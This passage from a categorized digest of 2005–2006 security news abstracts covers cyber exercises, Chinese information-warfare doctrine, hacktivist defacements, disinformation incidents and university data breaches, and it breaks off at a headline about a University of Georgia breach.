The U.S. Department of Homeland Security (DHS) still has to evaluate how well it fared through a series of simulated cyber attacks this week, but government and private companies avoided real-world damage and complications during their preparedness exercise. More than 100 public, private and international groups participated in mock attacks replicating the invasion of a utility company's computer system and the disruption of power grids. The exercise, called Cyber Storm, was designed to test the abilities of private companies and government agencies to deal with a major cyber security incident. DHS announced the completion of the exercise on Friday, February 10, but has yet to fully evaluate how effectively the groups communicated, cooperated and responded. Participants will evaluate the exercise, gauge interagency coordination and try to identify how current policies would affect response and recovery in the event of a real attack. The lessons learned this week are expected to be incorporated into a National Response Plan, which could be used if real attacks occur.

Category 16.4 *Military & government perspectives on INFOWAR*

2006-04-11 **Internet sociology role terrorism recruitment Europe**

DHS IAIP Daily; http://www.computerworld.com/securitytopics/security/story/0
,10801,110417,00.html

WEB ROLE EXAMINED IN LONDON, MADRID BOMBINGS.

Investigations into the Madrid and London bombings highlight two worrying trends for European security services -- the emergence of autonomous, homegrown radical cells and their skilled exploitation of the Internet. "It is quite clear that the Internet is playing an ever greater role in radicalization and recruitment, and indeed also in facilitating the practical planning [of attacks]," European Union counterterrorism chief Gijs de Vries told a conference in Berlin last week. The Islamic militants involved in the Madrid attacks, for example, derived inspiration from an Islamist Website. In addition, the suicide bombers involved in last July's London attacks developed their plan using information they obtained from the Internet; they were not part of an international terror network.

Category 16.4 *Military & government perspectives on INFOWAR*

2006-04-13 **portable computer drives peddled Bagram Air Base Afghanistan sensitive information disclosure**

DHS IAIP Daily; http://www.msnbc.msn.com/id/12305580/

PORTABLE COMPUTER DRIVES PEDDLED AT BAZAAR OUTSIDE BAGRAM AIR BASE, AFGHANISTAN.

This week in Bagram, Afghanistan, an NBC News producer, using a hidden camera, visited a bazaar and bought a half dozen of the memory drives the size of a thumb known as flash drives. Some of the discovered data would be valuable to the enemy, including: Names and personal information for dozens of Department of Defense interrogators; documents on an " interrogation support cell" and interrogation methods; IDs and photos of U.S. troops. The tiny computer memories are believed to have been smuggled off base by Afghan employees and sold to shopkeepers. Whoever buys one can simply plug it into another computer, and in a couple of minutes, see thousands of files.

Category 16.4 *Military & government perspectives on INFOWAR*

2006-04-13 **terrorist Web chatter Internet privacy concern proxy server**

DHS IAIP Daily; http://www.washingtonpost.com/wp−dyn/content/article/2006/04/12/AR2006041201968.html?nav=rss_technology/special/08

TERRORISTS' WEB CHATTER SHOWS CONCERN ABOUT INTERNET PRIVACY.

Terrorist groups, which for years have used the Internet and its various tools to organize and communicate, are paying more attention to addressing security and privacy concerns similar to those of other Web users, counterterrorism experts say. Recently, postings on jihadist Websites have expressed increasing concern about spyware, password protection, and surveillance on chat rooms and instant-messaging systems. One forum recently posted a guide for Internet safety and anonymity on the Internet, advising readers of ways to circumvent hackers or government officials. "The Shortened Way of How to be Cautious; To the User of the Jihadi Forums, In the Name of Allah, the most Gracious and Merciful" was posted last month by an al-Qaeda-affiliated group calling itself the Global Islamic Media Front. The posting advised Internet cafe users to set up a proxy -- a software program that erases digital footsteps such as Web addresses or other identifiable information -- before Web surfing. "There's a lot of things like that," said Evan Kohlmann, a consultant on international terrorism. Last month, Kohlmann said, he found a jihadist Website posting pirated McAfee anti-spyware software, which the site encouraged users to download to avoid monitoring.

Category 16.4 *Military & government perspectives on INFOWAR*

2006-05-03 **information warfare cyberwar insidious attacks data corruption mole insider employee damage scenarios**

TechTarget http://tinyurl.com/nnf72

DIGITAL DOOMSDAY CAN BE AVOIDED WITH PREPARATION

Bill Brenner began his report in TechTarget's SearchSecurity with the following paragraphs which reflect a scenario long described by Winn Schwartau since the early 1990s:

"A common nightmare scenario in the business world is that a hacker will crack a company's digital defenses, steal sensitive data or disable the network. Scott Borg, director and chief economist at the U.S. Cyber Consequences Unit (US-CCU), an independent organization that churns out information security data on behalf of the government, says enterprises face a darker possibility.

Online outlaws could quietly penetrate the network and, over six to eight months, alter critical data so that it's no longer accurate. For instance, an attacker could access a health insurance company's patient records and modify information on a person's prescriptions or surgical history. Or an attacker could access an automotive company's database and tamper with specifications on various car parts."

Category 16.4 Military & government perspectives on INFOWAR

2006-05-30 **information warfare cyberconflict computer network attack PRC China**

RISKS; DoD 24 30

http://www.defenselink.mil/pubs/pdfs/China%20Report%202006.pdf

CHINA CONTINUES PUSH FOR CYBERWAR CAPABILITIES

The annual "Military Power of the People's Republic of China" for 2006 was presented to Congress by the US DoD in May. Two sections in particular speak to concerns about information warfare capabilities (pp. 35-36):

Exploiting Information Warfare The PLA considers active offense to be the most important requirement for information warfare to destroy or disrupt an adversary's capability to receive and process data. Launched mainly by remote combat and covert methods, the PLA could employ information warfare preemptively to gain the initiative in a crisis.

Specifi ed information warfare objectives include the targeting and destruction of an enemy's command system, shortening the duration of war, minimizing casualties on both sides, enhancing operational effi ciency, reducing effects on domestic populations and gaining support from the international community.

The PLA's information warfare practices also refl ect investment in electronic countermeasures and defenses against electronic attack (e.g., electronic and infrared decoys, angle refl ectors, and false target generators.

Computer Network Operations. China's computer network operations (CNO) include computer network attack, computer network defense, and computer network exploitation. The PLA sees CNO as critical to seize the initiative and achieve " electromagnetic dominance" early in a confl ict, and as a force multiplier. Although there is no evidence of a formal Chinese CNO doctrine, PLA theorists have coined the term "Integrated Network Electronic Warfare" to outline the integrated use of electronic warfare, CNO, and limited kinetic strikes against key C4 nodes to disrupt the enemy's battlefi eld network information systems. The PLA has established information warfare units to develop viruses to attack enemy computer systems and networks, and tactics and measures to protect friendly computer systems and networks. The PLA has increased the role of CNO in its military exercises. For example, exercises in 2005 began to incorporate offensive operations, primarily in fi rst strikes against enemy networks.

Formation of Information Warfare Reserve and Militia Units

The Chinese press has discussed the formation of information warfare units in the militia and reserve since at least the year 2000. Personnel for such units would have expertise in computer technology and would be drawn from academies, institutes, and information technology industries. In 2003, an article in a PLA professional journal stated "coastal militia should fully exploit its local information technology advantage and actively perform the information support mission of seizing information superiority." Militia/reserve personnel would make civilian computer expertise and equipment available to support PLA military training and operations, including "sea crossing," or amphibious assault operations. During a military contingency, information warfare units could support active PLA forces by conducting "hacker attacks" and network intrusions, or other forms of "cyber" warfare, on an adversary's military and commercial computer systems, while helping to defend Chinese networks.

The PLA is experimenting with strategy, doctrine, and tactics for information warfare, as well as integrating militia and reserve units into regular military operations. These units reportedly participate with regular forces in training and exercises.

16.5 Hacktivism

Category 16.5 Hacktivism

2005-04-14 **Japan cyber attack Websites hacktivism China bilateral disagreement**

DHS IAIP Daily;
http://story.news.yahoo.com/news?tmpl=story&cid=1509&ncid=738&e=11&u=/afp/20050414/tc_afp/japanchinainternet

JAPAN SUSPECTS CYBER ATTACK ON OFFICIAL WEBSITES

Japan's police and defense agencies said they had come under cyber attack, amid reports a Chinese website was calling for the jamming of Japanese servers amid a heated bilateral disagreement. "Access to the homepage of the National Police Agency was hampered from around 9:00 pm (1200 GMT Wednesday, April 13) to 3:00 am (1700 GMT)," the national police said in a statement. "We are investigating the cause but it is highly possible that it was a cyber attack in which a large volume of information was sent to the address of the homepage," it said. Japanese media reports said a Chinese website had urged Internet users to flood Japanese servers with irrelevant data. A police spokesperson said the agency was "aware of the call" from China but had not identified what hampered the access. The Defense Agency also said its Website had been experiencing access problems from late Wednesday, April 13. Tensions have been rising between Japan and China. Japan announced Wednesday that its companies would have the right to drill for oil and gas in an area of the East China Sea bitterly disputed between the Asian economic powers.

Category 16.5 Hacktivism

2005-04-14 **Vietnam government Website attack defacement Turkish hacker hacktivism**

DHS IAIP Daily; http://www.thanhniennews.com/society/?catid=3&newsid=6150

VIETNAMESE GOVERNMENT WEBSITES ATTACKED

In recent days, several Vietnamese Websites including some government sites have been defaced and a Turkish hacker is claiming responsibility for the attacks. The hacker calls himself iSKORPiTX. After the attacks, he posted a list of hacked Websites on the Internet at http://www.zone-h.org. He said that five Vietnamese Websites were hacked into in just one day on April 11, including some government Websites with the domain names gov.vn and edu.vn. Hacker iSKORPiTX has claimed to deface 316 Websites. Currently, the hacker ranks fourth on the top 10 list of world Website hackers. He said that he randomly liked to hack into Websites, but had no dark intentions. Related article on hacked Anchorage airport Website: http://www.usatoday.com/travel/news/2005-04-13-ala-airport-h acking_x.htm

---

Category 16.5 Hacktivism

2006-02-07 **Denmark Website defacements hacktivism F-Secure suicide bombing warnings**

DHS IAIP Daily; http://www.securitypipeline.com/news/179101482

ISLAMIC MESSAGES DEFACE HUNDREDS OF DANISH SITES.

Muslim protests over editorial cartoons originally published by a Danish newspaper have spilled onto the Internet and resulted in defacements of nearly 600 Danish Websites with anti-Dane, pro-Muslim messages in the past week, Helsinki-based F-Secure said Tuesday, February 7. This has been the latest fallout in the uproar over cartoons that include one depicting Mohammed with a bomb for a turban. The defacements included warnings of suicide bombings, Arabic-language messages sprawled across home pages, and threats such as "die plez."

Category 16.5 Hacktivism

2006-03-31 **Chinese government Websites attack vandalism cracking China defacement information warfare hacktivism**

DHS IAIP Daily; http://www.shanghaidaily.com/press/2006/03/31/attacks−on−gov 11 −websites−skyrocket/

ATTACKS ON CHINESE GOVERNMENT WEBSITES SKYROCKET.

Hackers cracked various levels of the Chinese government official Websites and changed information on the Web pages 2,027 times last year, doubling that of 2004. Additionally, more than 13,000 Chinese Websites were altered last year, one-sixth of which were government Websites.

16.6 Disinformation, PSYOPS

Category 16.6 Disinformation, PSYOPS

2006-04-02 **authenticity fake forged e-mail political scandal government resignation Japan**

RISKS; AP http://209.157.64.201/focus/f-news/1606953/posts 24 23

FAKE E-MAIL TOPPLES JAPANESE OPPOSITION PARTY

Japan's opposition party suffered a fresh humiliation Friday [March 31, 2006] when its leadership resigned en masse over a fake e-mail scandal, handing Prime Minister Junichiro Koizumi an uncontested grip on power in his last six months in office. … Party leader Seiji Maehara and his lieutenants stepped down after the party's credibility was torpedoed by one of its own lawmakers, who used a fraudulent e-mail in an apparent attempt to discredit Koizumi's ruling Liberal Democratic Party.

[Abstract by Peter G. Neumann]

Category 16.6 Disinformation, PSYOPS

2006-05-05 **criminal hackers data integrity electronic advertising boards access control failure design flaw**

RISKS 24 29

SUBWAY SIGNS ACCUSE CANADIAN PRIME MINISTER OF CANNIBALISM

Criminal hackers using a $25 remote control device reprogrammed several electronic message boards in Toronto's GO Transit subway cars to read "Stephen Harper Eats Babies" in endless loops. A colleague of the Prime Minister said, "I worked with Stephen Harper for five years and never once did he, in that time, eat a baby."

[MK adds: Note the qualifier, "in that time."]

Category 16.6 Disinformation, PSYOPS

2006-05-05 **Islamic militants US video game recruitment terrorism technology**

DHS IAIP Daily; http://news.zdnet.com/2100−1040_22−6068963.html

ISLAMIC MILITANTS RECRUIT USING U.S. VIDEO GAMES.

The creators of combat video games have unwittingly become part of a global propaganda campaign by Islamic militants to exhort Muslim youths to take up arms against the U.S., defense officials said on Thursday, May 4. Tech-savvy militants from al-Qaeda and other groups have modified video war games so that U.S. troops play the role of bad guys in running gunfights against heavily armed Islamic radical heroes, Department of Defense officials and contractors told Congress. The sites use a variety of emotionally charged content, from images of real U.S. soldiers being hit by snipers in Iraq to video-recordings of American televangelists making disparaging remarks about Islam. The underlying propaganda message, officials say, is that the U.S. is waging a crusade against Islam in order to control Middle Eastern oil, and that Muslims should fight to protect Islam from humiliation.

17.1 Penetration

Category 17.1 Penetration

2005-01-10 **hackers George Mason University personal information faculty students names photos Social Security numbers campus ID numbers identity theft**

EDUPAGE; http://news.com.com/2100-7349_3-5519592.html

HACKERS HIT GEORGE MASON

George Mason University has become the latest institution of higher education to be the victim of hackers' accessing personal information of faculty and students. University officials said that hackers gained access to information including names, photos, Social Security numbers, and campus ID numbers for "all members of the Mason community who have identification cards." An e-mail sent by the university's vice president for information technology indicated that the intruders appeared to be seeking "access to other campus systems rather than specific data," but the message warned that the information the hackers obtained could be used for identity theft. George Mason had ended its practice of putting Social Security numbers on ID cards, replacing them with university-generated numbers, in response to a Virginia state law that required such a change. The university maintains a database, however, that includes Social Security numbers. University officials discovered the intrusion on January 3 and said the hackers gained access to records of more than 30,000 faculty, staff, and students.

Category 17.1 Penetration

2005-01-12 **T-Mobile data theft Secret Service Jacobsen e-mail files customers vandal penetration breakin trespass criminal hacker**

NewsScan; http://www.siliconvalley.com/mld/siliconvalley/10633193.htm

SECURITY II: ATTACK ON T-MOBILE

A network vandal broke into the network of wireless carrier T-Mobile over a seven month period and read e-mails and personal computer files of hundreds of customers -- including those of the Secret Service agent investigating the hacker himself. The online activities of the vandal, 21-year-old computer engineer Nicolas Lee Jacobsen of Santa Ana, were traced to a hotel where he was staying in Williamsport, N.Y. Although Jacobsen was able to view the names and Social Security numbers of 400 customers (all of whom were notified in writing about the break-in), customer credit card numbers and other financial information never were revealed, and T-Mobile says it "immediately took steps that prevented any further access to this system." (AP/12 Jan 2005)

Category 17.1 Penetration

2005-01-12 **penetration George Mason GMU college grades confidential data**

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A5188-2005Jan12.html

SECURITY I: VANDALISM OF COLLEGE NETWORKS

Early this month an intruder penetrated a central computer at George Mason University and attempted to access GMU's 130 other servers -- which hold such information as grades, financial aid, and payrolls. In the past two years, similar attacks have occurred at the universities of Georgia, Texas, Missouri, and California. To resist such attacks, some schools are beginning to use software that scans individual computers before they are allowed to connect to campus networks, and other institutions are setting up multiple smaller networks that house sensitive data, keeping them separate from the main networks. (Washington Post 12 Jan 2005)

Category 17.1 *Penetration*

2005-02-04 **Federal Bureau of Investigation FBI unclassified e-mail system shut down penetration hacking compromise fear**

DHS IAIP Daily;
http://story.news.yahoo.com/news?tmpl=story&cid=528&ncid=528
&e=3&u=/ap/20050204/ap_on_hi_te/fbi_computers

FBI SHUTS DOWN UNCLASSIFIED E-MAIL SYSTEM.

The FBI said Friday, February 4, it has shut down an e-mail system that it uses to communicate with the public because of a possible security breach. The bureau is investigating whether someone hacked into the www.fbi.gov e-mail system, which is run by a private company, officials said. "We use these accounts to communicate with you folks, view Internet sites, and conduct other non-sensitive bureau business such as sending out press releases," Special Agent Steve Lazarus, the FBI's media coordinator in Atlanta, said in an e-mail describing the problem. The FBI computer system that is used for case files, classified and sensitive information, and internal communications is unaffected, Lazarus said.

Category 17.1 *Penetration*

2005-03-03 **penetration hacking admissions Website ethics**

EDUPAGE; http://www.siliconvalley.com/mld/siliconvalley/11044063.htm

HACKER EXPOSES ADMISSIONS RECORDS

A hacker who was able to access admissions records for dozens of business schools posted instructions online for how applicants could access those records. Among the universities whose records were exposed were Harvard University, Stanford University, Duke University, Carnegie Mellon University, and Dartmouth College. All of the affected schools use an online application and notification system called ApplyYourself. The vulnerability that allowed the unauthorized access has been fixed, but during the nine hours in which the systems were exposed, several hundred students attempted to find out if they had been accepted to schools to which they applied. Final decisions and notifications of acceptance are not expected for several more weeks. School officials have been able to identify at least some of the applicants who gained access to the records systems, and officials from some schools said such activity would factor into the admission decision. Steve Nelson of Harvard's MBA program said, "Hacking into a system in this manner is unethical and also contrary to the behavior we expect of leaders we aspire to develop." Even if a student saw a decision, said Nelson, that decision isn't final until March 30. San Jose Mercury News, 3 March 2005

Category 17.1 *Penetration*

2005-03-08 **penetration hacking Harvard admissions Website reject applicants**

EDUPAGE; http://online.wsj.com/article/0,,SB111029921614173536,00.html

HARVARD REJECTS APPLICANTS WHO PEEKED

Officials from the Harvard Business School said they will reject 119 applicants who used a hacker's instructions to try to find out whether they had been accepted by the school. Calling the action "unethical" and saying that it cannot be rationalized, a statement from Harvard said, "Any applicant found to have done so will not be admitted to this school." Administrators at Carnegie Mellon University have also said they will reject candidates who attempted to gain unauthorized access to admissions records. Applicants to several other institutions affected--including Stanford University, Duke University, and Dartmouth College--will have to wait to find out how those schools decide to treat the situation. Using the instructions posted online by a hacker, applicants were able for a short period to use a name and password to access the admissions records. Institutions have been able to identify applicants who accessed admission records based on the name and password. For many who looked, there was no decision in the system, and school officials stressed that even if an applicant located an answer, those decisions were not necessarily final. Some have criticized Harvard officials for responding too harshly to the incident. Wall Street Journal, 8 March 2005 (sub. req'd)

Category 17.1 *Penetration*

2005-03-09 **confidentiality hacking cracking security failure data leakage punishment student applications ethics rejection consequences questions problems**

RISKS; http://tinyurl.com/6k3zs; http://tinyurl.com/du52h 23 78

UNIVERSITIES REJECT STUDENTS WHO CHECKED THEIR ADMISSION STATUS ONLINE

[In early March 2005, some students tried to check the status of their applications to various graduate schools by using information published in an online forum on how to find their records. Several schools responded by rejecting those candidates, provoking some controversy about whether the students had done anything wrong in the first place and whether the response was draconian. Mony Solomon summarized the university response and Peter Neumann summarized some of the controvery in the following RISKS posting.]

Sloan School of Management has joined Carnegie-Mellon and Harvard in rejecting applications from prospective students who hacked into a website to learn whether they had been admitted before they were formally notified. 32 MIT applicants reportedly took a peek, along with 1 at CMU, 119 at Harvard, and 41 at Stanford. The Web site is run by ApplyYourself, and also used by other business schools. Its access was compromised by a posting on a BusinessWeek Online forum. [PGN-ed from Robert Weisman, *The Boston Globe*, 8 and 9 Mar 2005]

[Dave Farber's IP list had several responses. Rejected applicants considered their treatment excessive. One candidate saw only a blank page at ApplyYourself, but was rejected for having accessed the site. Dave Lesher wrote

> What's the B-schools' culpability in contracting out a process to a company with inadequate security? [Presumably] the schools demanded SSN's and other financial data from the applicants. Was there informed consent by the applicants to have their data shared with, in effect, a data broker? Could they apply WITHOUT so agreeing?

Joe Hall wrote

> What strikes me is how constructing a URL that is available to students without any further authentication or protection is considered "hacking". That's inevitably diluting any geek cred. held by any of us who are even crappy hackers!

Joe also noted Ed Felten's post on this subject at http://www.freedom-to-tinker.com/archives/000780.html

PGN wonders what if a competing candidate had masqueraded as other candidates to see if others had been accepted, and thereby wound up getting them all rejected! Could that be a suitable defense for the rejected students? PGN]

Category 17.1 *Penetration*

2005-03-09 **hacker penetration publisher database Reed Elsevier personal information disclosure FBI US Secret Service**

EDUPAGE; http://news.com.com/2100-1029_3-5605736.html

HACKERS COMPROMISE PUBLISHER'S DATABASE

Hackers compromised a database owned by publisher Reed Elsevier, gaining access to names, addresses, Social Security numbers, and driver's license numbers of about 32,000 individuals. Other information, including credit history and financial data, was reportedly not involved. The breach happened at Seisint, a data-collection company that the publisher bought last year. Seisint is a competitor to ChoicePoint, which recently reported an incident in which hackers accessed records on 145,000 individuals. According to officials at Reed Elsevier, the fraud came to light when a billing complaint from a customer showed unauthorized activity with a user name and password. Reed Elsevier is contacting the individuals affected and working with the FBI and the Secret Service to locate the hackers. CNET, 9 March 2005

Category 17.1 *Penetration*

2005-03-18 **criminal hackers Web site vulnerability exploit consequences university admissions ethics**

http://www.post-gazette.com/pg/05077/473361.stm

APPLY YOURSELF TO BREAKING INTO … APPLYYOURSELF, INC.

Criminal hackers posted instructions on March 2, 2005 on how to break into the ApplyYourself Inc. database online, a repository of applications used by many universities to track applicants.

About 150 candidates did break into the database and were identified because they looked at their own applications. Most of the six top business schools involved in the breakin rejected the applicants outright. However, Dartmouth College's Tuck School of Business decided to count the breakins as a factor detracting from an applicant's suitability but not absolutely barring their admission. Stanford University's business school had not yet decided on a firm policy by mid-March. Ethicists pointed out serious problems with the laissez-faire attitude of these schools.

Category 17.1 *Penetration*

2005-03-18 **penetration hacking Dartmouth admissions Website penalize applicants**

EDUPAGE; http://www.post-gazette.com/pg/05077/473361.stm

DARTMOUTH DECIDES TO PENALIZE, BUT NOT ELIMINATE, HACKERS

Applicants to the Tuck School of Business at Dartmouth College who used a hacker's tips to try to access admissions records were not automatically disqualified, though their actions were considered by school officials in their admissions decisions. The decision to consider applications of those involved in the hacking was made after consultations with faculty and staff and with the appliants themselves. Unlike officials at Harvard University, Duke University, MIT, and Carnegie Mellon University, administrators at Dartmouth decided that the hacking, while serious, "did not reach the level that would necessarily bar a person from being a valued member of the Tuck community," according to Paul Danos, dean of the school. Attempting to access restricted records was viewed by the school as "a very important negative factor" in considering the applications, but ultimately the school's decision did not rest on that single factor. Of the 17 applicants involved, some were admitted, and those who enroll will be monitored and counseled. The incident will also become a part of their files. Pittsburgh Post-Gazette, 18 March 2005

Category 17.1 *Penetration*

2005-03-21 **personal data information disclosure California State University Chico**

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=7964776

HACKERS HIT CSU CHICO

Joe Wills, spokesperson for California State University, Chico, said that hackers who broke into servers at the university may have accessed confidential records on 59,000 individuals associated with the institution. Wills said that early investigation of the attack, which happened three weeks ago, indicates that the perpetrators might have been trying to download files when they discovered the confidential information. Social Security numbers were part of the compromised records, which included students, former students, prospective students, and faculty. Reuters, 21 March 2005

Category 17.1 *Penetration*

2005-03-21 **personal data information disclosure University of Nevada at Las Vegas SEVIS database**

EDUPAGE; http://chronicle.com/prm/daily/2005/03/2005032102t.htm

UNLV SEVIS DATABASE COMPROMISED

The FBI and officials at the University of Nevada at Las Vegas (UNLV) are investigating an incident in which hackers gained access to the school's Student and Exchange Visitor Information System (SEVIS) database. SEVIS is the federal program that colleges and universities must use to track international students and faculty. According to a university spokesperson, the break-in was uncovered while it was happening, prompting optimism that the damage was thereby minimized.
The university said that the hackers had access to personal records, including birth dates, countries of origin, passport numbers, and Social Security numbers, on about 5,000 current and former students and faculty. Chronicle of Higher Education, 21 March 2005 (sub. req'd)

Category 17.1 *Penetration*

2005-04-15 **data theft compromise personal information credit card information identity theft Social Security Number SSN university alumni association**

RISKS 23 84

TUFTS ALUMNI DATA COMPROMISED

Tufts University began sending letters to 106,000 alumni, warning of "abnormal activity" on their fund-raising computer system that contained names, addresses, phone numbers, and, in some cases, Social Security and credit card numbers. [Abstracted by Peter G. Neumann]

Category 17.1 *Penetration*

2005-04-29 **hacking penetration personal sensitive informatioin disclosure Florida International Univerity identity ID theft**

EDUPAGE; http://www.theregister.com/2005/04/29/fiu_id_fraud_alert/

FIU SUFFERS COMPUTER HACK

Officials at Florida International University (FIU) are warning faculty and students about possible identity theft after it was discovered that a hacker had user names and passwords for 165 computers on campus. Although only a few of the computers contained personal information, and despite the fact that no evidence exists that anyone's information has been misused, school officials fear that the hacker may have had enough access to put the university's entire network in question. University staff have been instructed to inspect 3,000 computers on campus to determine if they have been compromised. FIU has recommended that faculty and students remove any personal information from their computers and that they monitor their credit cards for suspicious activity that could indicate fraud. The Register, 29 April 2005

Category 17.1 *Penetration*

2005-05-21 **hacking penetration Valdosta State University security breach personal information disclosure identity ID theft**

EDUPAGE; http://www.wsbtv.com/news/4515697/detail.html

VALDOSTA INVESTIGATES SECURITY BREACH

Officials at Valdosta State University (VSU) are investigating a security breach in which a computer hacker may have accessed personal information for as many as 40,000 students and employees. Last week, a hacker gained access to a campus server that contained information for the university's VSU 1Cards, which serve both as ID and debit cards for students and staff. The Georgia Bureau of Investigation is looking into the matter and has advised those affected to notify credit reporting agencies about the possible theft. The database that was accessed contained information on all VSU students since 1997, current employees of the institution, and employees who left between 1997 and 1999. A similar breach occurred last month at Georgia Southern University. Associated Press, 21 May 2005

Category 17.1 *Penetration*

2005-05-26 **hackers hacking penetration Stanford University Career Development Center CDC personal information disclosure Social Security Numbers**

EDUPAGE; http://software.silicon.com/security/0,39024655,39130758,00.htm

HACKERS HIT STANFORD

Officials at Stanford University and the FBI are investigating a computer breach at the university's Career Development Center (CDC) earlier this month that may have exposed personal information on as many as 10,000 individuals. Most of those affected are students, though a small number are recruiters who had registered with the CDC. Information that might have been improperly accessed includes names, Social Security numbers, financial information, and, in some cases, credit card numbers. The university is notifying those possibly affected by the breach, in compliance with the 2003 Security Breach Information Act. That law requires organizations to inform California residents any time their personal information might have been accessed without authorization. Silicon.com, 26 May 2005

Category 17.1 *Penetration*

2005-06-22 **customer pharmacy medical data privacy controls penetration leakage compromise Web access identification authentication I&A response**

RISKS; http://www.pbn.com/contentmgr/showdetails.php/id/115431 23 92

CVS FIXES PRIVACY HOLE

The CVS Corp.has cut off Web access to ExtraCare card holders' detailed purchase information after a consumer group showed reporters how easily an intruder could log into the system and find out, say, how many condoms or enema kits someone's bought. CVS has issued about 50 million of the loyalty cards, which allow the drugstore chain to track each customer's purchases and, in exchange, provide a 2-percent rebate on those purchases, along with customized coupons. To log into your account on CVS.com, all you need is the card number, your ZIP code, and the first three letters of your surname. Even now, anyone with that information can easily find out the card holder's home address, phone number, and total purchases each quarter. But until last week, the Web site also allowed customers to request a detailed purchase report to be e-mailed to them -- to any address they put in….

[Excerpt from article by Marion Davis]

Category 17.1 *Penetration*

2005-06-24 **hacking penetration vandalism University of Connecticut security breach personal sensitive information disclosure Social Security Numbers**

EDUPAGE; http://www.nytimes.com/2005/06/25/technology/25conn.html

UNIVERSITY OF CONNECTICUT DISCOVERS SECURITY BREACH

Officials at the University of Connecticut have discovered a breach of one of the university's servers, which contained personal information for about 72,000 individuals. According to Michael Kerntke, a spokesperson for the school, the university found a program on the server that could have given a hacker access to the information on that computer, which included names, addresses, phone numbers, Social Security numbers, and dates of birth. Although the program has evidently been on the server since October 2003, officials said there was no evidence that any of the data had actually been taken. Kerntke noted that the program seems to have been part of a broad Internet attack rather than one specifically directed at the university. As a result, he said, "the attacker most likely had no knowledge of the kind of data stored on the server." New York Times, 24 June 2005 (registration req'd)

Category 17.1 *Penetration*

2005-07-15 **data theft confidentiality credit card hack**

Crypto-Gram

CARDSYSTEMS SOLUTIONS HACKED -- 40M PEOPLE AFFECTED

Bruce Schneier wrote, "The personal information of over 40 million people has been hacked. The hack occurred at CardSystems Solutions, a company that processes credit card transactions. The details are still unclear. The New York Times reports that "data from roughly 200,000 accounts from MasterCard, Visa and other card issuers are known to have been stolen in the breach," although 40 million were vulnerable. The theft was an intentional malicious computer hacking activity: the first in all these recent personal-information breaches, I think. The rest were accidental -- backup tapes gone walkabout, for example -- or social engineering hacks. Someone was after this data, which implies that's more likely to result in fraud than those peripatetic backup tapes.

CardSystems says that they found the problem, while MasterCard maintains that they did; the New York Times agrees with MasterCard. Microsoft software may be to blame. And in a weird twist, CardSystems admitted they weren't supposed to keep the data in the first place."

Category 17.1 *Penetration*

2005-07-22 **hacker hacking penetration perimeter breach University of Colorado information disclosure Social Security Numbers**

EDUPAGE; http://www.thedenverchannel.com/technology/4757407/detail.html

CU COMPUTERS HACKED

Officials at the University of Colorado said hackers gained access to two servers at the university, possibly exposing personal information on nearly 43,000 students and employees of the institution. One server, at the College of Architecture, contained data on 900 individuals; the other, at the university's health center, included information for another 42,000 people. The servers included names, Social Security numbers, addresses, and dates of birth, according to the university, but neither included credit card information. Still, university officials are advising those affected to monitor their credit reports for suspicious activity, and the university has set up a Web site and a hot line to answer questions. Investigators looking into the situation said that one hacker came through a server in France, while the other came through a server in Eastern Europe. University officials have no information so far that any of the personal data on the servers has been misused. The Denver Channel, 22 July 2005

Category 17.1 *Penetration*

2005-07-25 **Hackers spyware Website hosting ISPs malicious worms viruses spyware hosting**

DHS IAIP Daily; http://www.techweb.com/wire/security/166402258

HACKERS SPREADING SPYWARE FROM FREE PERSONAL WEBSITES

Attackers are using free personal Web hosting sites provided by nationally- and internationally-known ISPs to store their malicious code, and to infect users with worms, viruses, and spyware, a security firm said Monday, July 25. Websense, a San Diego, California-based Web security and content filtering vendor, has detected a big jump in the use of personal hosting sites, said Dan Hubbard, the company's senior director of security and technology research. "Attackers don't have to go to the trouble to find a compromised machine, search for one with a vulnerability they can exploit to turn into a zombie," said Hubbard. "Plus, they're reliable. Since they're offered up by national and international Internet service providers, they're built on a lot of infrastructure. Third, they often offer quite a bit of storage space, in some cases up to 500MB." The problem is that too few free hosting services offer even the most basic security tools, Hubbard said. None of the services found hosting malicious sites use a graphics-based question to make sure that a human, not a bot, registers for the service, he said.

Category 17.1 *Penetration*

2005-08-03 **hacker hacking penetration perimeter breach University of Colorado information disclosure Social Security Numbers**

EDUPAGE; http://www.denverpost.com/news/ci_2909173

CU SUFFERS ANOTHER HACK

Hackers broke into a server at the University of Colorado (CU), marking the third security breach in the past six weeks. The latest attack targeted servers that held information for the school's ID card, known as the Buff OneCard. Those servers included names, Social Security numbers, and photographs but not financial information. Potentially exposed in the attack is personal information for 29,000 students, some former students, and 7,000 staff members. Students who will be entering the university in the fall were not affected. Dan Jones, IT security coordinator, said it was not clear whether this attack was perpetrated by the same people who compromised two other servers recently. In April, CU had decided to move away from using Social Security numbers as identifiers for students, based on security problems at other institutions and the risk of identity theft. Some systems on campus, however, still use Social Security numbers to track students, according to Jones. Officials at the university said they will hire an independent auditing firm to assess the institution's security measures and will also evaluate some 26,000 computers to determine which could be placed behind a firewall. The Denver Post, 3 August 2005

Category 17.1 *Penetration*

2005-08-09 **Sonoma State University California hacker penetration personal information disclosure Social Security Numbers**

EDUPAGE; http://sfgate.com/cgi-bin/article.cgi?f=/c/a/2005/08/09/BAGLJE50C81.DTL

HACKERS HIT ANOTHER UNIVERSITY

Sonoma State University, an hour north of San Francisco, has become the latest in a growing list of universities to suffer a hacker attack that put personal information of students and staff at risk. At Sonoma State, hackers in July gained access to several computer workstations, which allowed them to access a number of other computers before university staff detected and put an end to the intrusion. In all, the hackers had access to names and Social Security numbers of nearly 62,000 students, applicants, or employees of the university between 1995 and 2002. A spokesperson for the university said the hackers did not have access to financial information and noted that there is currently no evidence that any of the information has been misused. Nevertheless, the university is required by state law to contact individuals whose personal information has been compromised, and the university is working to do just that. The university has set up a Web site with information and is advising affected individuals to contact credit-reporting agencies to be on the lookout for possible identity fraud. San Francisco Chronicle, 9 August 2005

Category 17.1 *Penetration*

2005-09-29 **hacker attack penetration University of Georgia personal sensitive information disclosure Social Security Numbers**

EDUPAGE; http://www.ajc.com/metro/content/metro/0905/29ugabreach.html

HACKER HITS UNIVERSITY OF GEORGIA

